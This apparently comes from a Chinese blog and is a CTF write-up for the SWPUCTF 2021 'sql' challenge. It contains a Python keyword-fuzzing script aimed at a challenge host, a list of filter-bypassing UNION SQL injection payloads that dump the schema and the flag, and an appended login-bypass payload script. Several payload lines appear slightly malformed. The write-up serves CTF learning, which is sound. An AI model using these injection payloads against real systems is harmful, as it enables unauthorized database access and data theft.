[SWPUCTF 2021 新生赛]sql

文章讲述了在发现一个可能的SQL注入漏洞后,利用Python脚本进行Fuzz测试的过程。通过发送包含SQL关键字的请求,识别出被过滤的字符,并构建特殊的payload来绕过过滤,以揭示数据库信息,如字段、数据库名、表名和列名。虽然能读取部分flag,但无法获取完整数据。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1.打开环境,查看源代码。

发现变量wllm,传入1‘发现报错,是sql注入,进行fuzz测试

一个简单的python脚本

import requests
fuzz={'length ','+','handler','like','select','sleep','database','delete','having','or','as','-~','BENCHMARK','limit','left','select','insert'
,'sys.schema_auto_increment_columns','join','right','#','&','&&','\\','handler','---','--','--+','INFORMATION','--',';','!','%','+','xor','<>'
,'(','>','<',')','.','^','=','AND','BY','CAST','COLUMN','COUNT','CREATE','END','case',"'1'='1'",'when',"admin'",'length','+','REVERSE','ascii'
,'select','database','left','right','union','||','oorr','/','//','//*','*/*','/**/','anandd','GROUP','HAVING','IF','INTO','JOIN','LEAVE','LEFT'
,'LEVEL','sleep','LIKE','NAMES','NEXT','NULL','OF','ON','|','infromation_schema','user','OR','ORDER','ORD','SCHEMA','SELECT','SET','TABLE','THEN'
,'UPDATE','USER','USING','VALUE','VALUES','WHEN','WHERE','ADD','AND','prepare','set','update','delete','drop','inset','CAST','COLUMN','CONCAT'
,'GROUP_CONCAT','group_concat','CREATE','DATABASE','DATABASES','alter','DELETE','DROP','floor','rand()','information_schema.tables','TABLE_SCHEMA'
,'%df','concat_ws()','concat','LIMIT','ORD','ON'
,'extractvalue','order','CAST()','by','ORDER','OUTFILE','RENAME','REPLACE','SCHEMA','SELECT','SET','updatexml','SHOW','SQL','TABLE','THEN','TRUE','instr'
,'benchmark','format','bin','substring','ord','UPDATE','VALUES','VARCHAR','VERSION','WHEN','WHERE','/*','`',',','users','%0a','%0b','mid','for','BEFORE','REGEXP'
,'RLIKE','in','sys schemma','SEPARATOR','XOR','CURSOR','FLOOR','sys.schema_table_statistics_with_buffer','INFILE','count','%0c','from','%0d','%a0','=','@','else'}
for i in fuzz:
    res = requests.get('http://1.14.71.254:28315/?wllm={}'.format(i))
    if '请勿非法操作'  in res.text:
        print(i)

结果:

update
AND
DELETE
UPDATE
insert
updatexml
length 
delete
right
extractvalue
REVERSE
sys schemma
+
=
--+
left
handler
substring
rand()
LEFT
anandd
OUTFILE
INTO
'1'='1'

发现=和空格都被过滤了

于是有payload:

-1'/**/order/**/by/**/4%23(爆字段,用%23代替#,/**/代替空格)
-1'/**/union/**/select/**/1,database(),3%23(爆库)
-1'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables /**/where/**/table_schema/**/like()%23(爆表) 
-1'/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name/**/like()%23(爆列)
-1'/**/union/**/select/**/1,flag,3/**/from/**/''%23发现只能读取一部分flag
-1'/**/union/**/select/**/1,mid(group_concat(id,flag)20,40),3/**/from/**/''%23提取完整flag    
   

知识点:

1.fuzz测试

2.sql注入

3.mid函数的使用

### 关于 SWPUCTF 2021 新生 easy_sql 的解题思路 SQL 注入是一种常见的安全漏洞,攻击者通过向应用程序输入恶意 SQL 查询来获取敏感数据或执行未经授权的操作。对于 SWPUCTF 2021 新生中的 `easy_sql` 题目,其核心在于利用 SQL 注入技术绕过登录验证机制并访问隐藏的数据。 #### 登录绕过的常见方法 通常情况下,题目会提供一个简单的登录表单,其中用户名和密码会被拼接到一条 SQL 查询语句中。如果未对用户输入进行适当过滤,则可以注入逻辑条件使查询始终返回真值。例如: 假设原始查询如下: ```sql SELECT * FROM users WHERE username='input_username' AND password='input_password'; ``` 可以通过提交以下 payload 实现绕过: ```plaintext admin' -- - ``` 这会使最终的 SQL 查询变为: ```sql SELECT * FROM users WHERE username='admin' -- -' AND password='input_password'; ``` 由于双连字符 (`--`) 表示注释掉后续部分,因此无论实际密码为何,此查询都会尝试匹配名为 `admin` 的账户[^1]。 #### 提取 flag 数据库字段名猜测 除了基本的身份认证旁路外,在某些场景下还需要进一步探索数据库结构以定位存储标志位的具体位置。此时可采用联合查询 (UNION SELECT) 或错误基注入等方式枚举列数以及对应的表/列名称。 比如当得知存在额外的秘密信息时,可能需要试验不同的组合直到成功检索到目标记录为止。下面给出了一种通用形式用于演示如何附加其他参数至原请求之中从而揭示更多细节: ```sql 1 UNION ALL SELECT null,table_name FROM information_schema.tables-- ``` 以上仅作为理论指导框架,请依据具体环境调整相应策略完成挑战任务。 ```python import requests url = "http://example.com/login" payloads = ["admin' -- -", "' OR '1'='1"] for p in payloads: response = requests.post(url, data={'username':p,'password':'irrelevant'}) if "Welcome" in response.text: print(f"[+] Login bypassed with payload: {p}") break ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值